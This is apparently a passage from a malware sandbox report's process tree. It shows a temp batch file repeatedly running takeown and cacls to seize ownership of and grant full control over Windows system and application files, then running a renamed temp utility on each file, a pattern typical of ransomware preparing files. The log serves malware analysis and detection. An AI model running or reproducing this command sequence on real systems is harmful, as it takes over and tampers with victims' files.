    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1096
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\USOShared\Logs\System\WuProvider.9cbc80f2-3967-41ff-842c-1a3366c13c32.1.etl""
  2⤵
  PID:1420
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOShared\Logs\System\WuProvider.9cbc80f2-3967-41ff-842c-1a3366c13c32.1.etl" /E /G Admin:F /C
    3⤵
    PID:3296
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOShared\Logs\System\WuProvider.9cbc80f2-3967-41ff-842c-1a3366c13c32.1.etl"
    3⤵
    PID:3104
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "WuProvider.9cbc80f2-3967-41ff-842c-1a3366c13c32.1.etl" -nobanner
    3⤵
    PID:1200
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "WuProvider.9cbc80f2-3967-41ff-842c-1a3366c13c32.1.etl" -nobanner
      4⤵
      PID:1796
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3112
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""
  2⤵
  PID:3804
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"
    3⤵
    PID:1436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:3304
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:3992
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:292
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml""
  2⤵
  PID:400
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml" /E /G Admin:F /C
    3⤵
    PID:2360
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml"
    3⤵
    PID:3924
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:208
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:2972
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1404
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml""
  2⤵
  PID:2244
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml" /E /G Admin:F /C
    3⤵
    PID:3844
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml"
    3⤵
    PID:3296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftNotepad.xml" -nobanner
    3⤵
    PID:3104
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftNotepad.xml" -nobanner
      4⤵
      PID:2328
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1796
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml""
  2⤵
  PID:3920
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml" /E /G Admin:F /C
    3⤵
    PID:3332
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml"
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2016BackupWin64.xml" -nobanner
    3⤵
    PID:1436
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2016BackupWin64.xml" -nobanner
      4⤵
      PID:2976
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3992
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml""
  2⤵
  PID:292
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml" /E /G Admin:F /C
    3⤵
    PID:4020
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml"
    3⤵
    PID:2360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "NetworkPrinters.xml" -nobanner
    3⤵
    PID:3924
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "NetworkPrinters.xml" -nobanner
      4⤵
      PID:3164
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2972
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat.LOG1""
  2⤵
  PID:1892
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat.LOG1" /E /G Admin:F /C
    3⤵
    PID:1568
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-790714498-1549421491-1643397139-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e_COM15.dat.LOG1"
    3⤵
    - Modifies file permissions
    PID:3844
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "75fbd12bafcbd46e_COM15.dat.LOG1" -nobanner
    3⤵
    PID:3296
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "75fbd12bafcbd46e_COM15.dat.LOG1" -nobanner
      4⤵
      PID:3744
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2328
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.09e7ff5b-1423-46b2-b532-1a0d4e606151.1.etl""
  2⤵
  PID:280
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.09e7ff5b-1423-46b2-b532-1a0d4e606151.1.etl" /E /G Admin:F /C
    3⤵
    PID:1552
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.09e7ff5b-1423-46b2-b532-1a0d4e606151.1.etl"
    3⤵
    PID:3332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "UpdateSessionOrchestration.09e7ff5b-1423-46b2-b532-1a0d4e606151.1.etl" -nobanner
    3⤵
    PID:1384
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "UpdateSessionOrchestration.09e7ff5b-1423-46b2-b532-1a0d4e606151.1.etl" -nobanner
      4⤵
      PID:3700
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2976
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""
  2⤵
  PID:3556
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C
    3⤵
    PID:360
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"
    3⤵
    PID:4020
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "background.png" -nobanner
    3⤵
    PID:2360
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "background.png" -nobanner
      4⤵
      PID:4008
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3164
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml""
  2⤵
  PID:4012
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml" /E /G Admin:F /C
    3⤵
    PID:3456
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml"
    3⤵
    PID:1568
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "tasks.xml" -nobanner
    3⤵
    PID:3844
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "tasks.xml" -nobanner
      4⤵
      PID:3400
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3744
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml""
  2⤵
  PID:560
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml" /E /G Admin:F /C
    3⤵
    PID:1096
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml"
    3⤵
    PID:1552
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftInternetExplorer2013Backup.xml" -nobanner
    3⤵
    PID:3332
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftInternetExplorer2013Backup.xml" -nobanner
      4⤵
      PID:3776
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3700
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml""
  2⤵
  PID:3320
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml" /E /G Admin:F /C
    3⤵
    PID:3112
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml"
    3⤵
    - Modifies file permissions
    PID:360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2013Office365Win64.xml" -nobanner
    3⤵
    PID:4020
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2013Office365Win64.xml" -nobanner
      4⤵
      PID:584
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4008
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml""
  2⤵
  PID:628
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml" /E /G Admin:F /C
    3⤵
    PID:3148
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml"
    3⤵
    PID:3456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOutlook2016CAWin64.xml" -nobanner
    3⤵
    PID:1568
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOutlook2016CAWin64.xml" -nobanner
      4⤵
      PID:3232
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3400
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd""
  2⤵
  PID:4052
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd" /E /G Admin:F /C
    3⤵
    PID:1404
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd"
    3⤵
    PID:1096
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner
    3⤵
    PID:1552
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner
      4⤵
      PID:948
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3776
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\USOShared\Logs\System\MoUsoCoreWorker.b49ce509-b301-4903-bd63-b48b17a010bc.1.etl""
  2⤵
  PID:4064
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOShared\Logs\System\MoUsoCoreWorker.b49ce509-b301-4903-bd63-b48b17a010bc.1.etl" /E /G Admin:F /C
    3⤵
    PID:2976
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOShared\Logs\System\MoUsoCoreWorker.b49ce509-b301-4903-bd63-b48b17a010bc.1.etl"
    3⤵
    PID:3112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MoUsoCoreWorker.b49ce509-b301-4903-bd63-b48b17a010bc.1.etl" -nobanner
    3⤵
    PID:360
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MoUsoCoreWorker.b49ce509-b301-4903-bd63-b48b17a010bc.1.etl" -nobanner
      4⤵
      PID:3784
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:584
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\USOShared\Logs\System\WuProvider.b0c355e6-65a5-4b2e-b901-5341ebba0138.1.etl""
  2⤵
  PID:4008
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOShared\Logs\System\WuProvider.b0c355e6-65a5-4b2e-b901-5341ebba0138.1.etl" /E /G Admin:F /C
    3⤵
    PID:3992
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOShared\Logs\System\WuProvider.b0c355e6-65a5-4b2e-b901-5341ebba0138.1.etl"
    3⤵
    PID:3148
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "WuProvider.b0c355e6-65a5-4b2e-b901-5341ebba0138.1.etl" -nobanner
    3⤵
    PID:3456
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "WuProvider.b0c355e6-65a5-4b2e-b901-5341ebba0138.1.etl" -nobanner
      4⤵
      PID:3128
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3232
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""
  2⤵
  PID:2972
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C
    3⤵
    PID:876
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"
    3⤵
    PID:1404
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "device.png" -nobanner
    3⤵
    PID:3332
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "device.png" -nobanner
      4⤵
      PID:3304
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4080
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml""
  2⤵
  PID:1892
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml" /E /G Admin:F /C
    3⤵
    PID:2688
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml"
    3⤵
    PID:2896
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:2988
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:2360
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:456
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml""
  2⤵
  PID:288
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml" /E /G Admin:F /C
    3⤵
    PID:112
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml"
    3⤵
    - Modifies file permissions
    PID:2484
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "tasks.xml" -nobanner
    3⤵
    PID:1568
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "tasks.xml" -nobanner
      4⤵
      PID:3844
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1124
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml""
  2⤵
  PID:3556
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml" /E /G Admin:F /C
    3⤵
    PID:2380
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\DesktopSettings2013.xml"
    3⤵
    - Modifies file permissions
    PID:3796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "DesktopSettings2013.xml" -nobanner
    3⤵
    PID:1384
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "DesktopSettings2013.xml" -nobanner
      4⤵
      PID:3464
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2168
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml""
  2⤵
  PID:3880
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml" /E /G Admin:F /C
    3⤵
    PID:2976
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin32.xml"
    3⤵
    PID:3648
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOffice2013BackupWin32.xml" -nobanner
    3⤵
    PID:3784
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOffice2013BackupWin32.xml" -nobanner
      4⤵
      PID:4020
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:272
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml""
  2⤵
  PID:1120
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml" /E /G Admin:F /C
    3⤵
    PID:3412
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml"
    3⤵
    PID:2184
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "MicrosoftOutlook2013CAWin32.xml" -nobanner
    3⤵
    PID:3456
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "MicrosoftOutlook2013CAWin32.xml" -nobanner
      4⤵
      PID:3296
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3760
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\VdiState.xml""
  2⤵
  PID:996
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\VdiState.xml" /E /G Admin:F /C
    3⤵
    PID:2856
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\VdiState.xml"
    3⤵
    PID:3060
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "VdiState.xml" -nobanner
    3⤵
    PID:3332
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "VdiState.xml" -nobanner
      4⤵
      PID:948
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
    fioBxEuy.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3264
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lzhiiVMM.bat" "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.f7680376-24e8-417e-bf55-bfb3caa3dadd.1.etl""
  2⤵
  PID:3164
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.f7680376-24e8-417e-bf55-bfb3caa3dadd.1.etl" /E /G Admin:F /C
    3⤵
    PID:2220
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.f7680376-24e8-417e-bf55-bfb3caa3dadd.1.etl"
    3⤵
    PID:2688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c fioBxEuy.exe -accepteula "UpdateSessionOrchestration.f7680376-24e8-417e-bf55-bfb3caa3dadd.1.etl" -nobanner
    3⤵
    PID:756
  - - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
      fioBxEuy.exe -accepteula "UpdateSessionOrchestration.f7680376-24e8-417e-bf55-bfb3caa3dadd.1.etl" -nobanner
      4⤵
      PID:2988
- - C:\Users\Admin\AppData\Local\Temp\fioBxEuy.exe
